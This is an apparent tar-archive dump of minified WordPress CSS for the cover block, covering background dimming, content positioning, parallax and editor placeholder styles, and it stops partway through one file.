.wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background,.wp-block-cover-image .wp-block-cover__embed-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;outline:none;padding:0;pointer-events:none;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper{bottom:0;height:100%;left:0;margin:0;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover .wp-block-cover__embed-background iframe,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover-image .wp-block-cover__embed-background iframe{height:100vh;min-height:100%;min-width:100%;pointer-events:none;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:100vw}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__embed-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto} cover/style.min.css 0000644 00000047446 15217610761 0010343 0 ustar 00 .wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background,.wp-block-cover-image .wp-block-cover__embed-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;outline:none;padding:0;pointer-events:none;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper{bottom:0;height:100%;left:0;margin:0;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover .wp-block-cover__embed-background iframe,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover-image .wp-block-cover__embed-background iframe{height:100vh;left:50%;min-height:100%;min-width:100%;pointer-events:none;position:absolute;top:50%;transform:translate(-50%,-50%);width:100vw}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__embed-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto} cover/editor-rtl.min.css 0000666 00000003300 15217610761 0011251 0 ustar 00 .wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover 